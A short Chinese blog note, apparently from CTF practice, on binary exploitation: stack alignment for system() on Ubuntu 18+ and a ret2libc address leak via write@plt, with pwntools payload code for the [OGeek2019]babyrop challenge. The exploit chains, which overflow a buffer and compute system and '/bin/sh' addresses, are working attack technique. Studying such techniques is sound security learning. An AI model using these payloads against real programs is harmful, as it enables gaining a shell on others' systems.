Ubuntu 18+ system() 堆栈平衡

Ubuntu 18+ 的 system 库函数要求 $rsp+0x40 满足16字节对齐
解决方案:若 system()$rsp+0x40 未对齐,可以在 payload 的目标地址前加一个任意位置的 retn 的地址

b'a'*size + p64(retn_addr) + p64(system_addr)

参考博客:https://www.cnblogs.com/Rookle/p/12871878.html

ret2libc 暴露地址

如果 write 在 plt 表中,可利用它暴露一个 got 表中 libc 函数的实际地址
例题:[OGeek2019]babyrop

main_addr = 0x8048825
write_plt = elf.plt['write']
write_got = elf.got['write']

payload = b'a'*235 + p32(write_plt) + p32(main_addr)
#                     80487D0_ret        write_ret
payload += p32(1) + p32(write_got) + p32(4)
#          stdout      got_addr       size
p.sendline(payload)

write_addr = u32(p.recv(4))
base_addr = write_addr - libc.symbols['write']
system_addr = base_addr + libc.symbols['system']
shell_addr = base_addr + next(libc.search(b'/bin/sh\0'))
最后修改:2021 年 12 月 03 日
如果觉得我的文章对你有用,请随意赞赏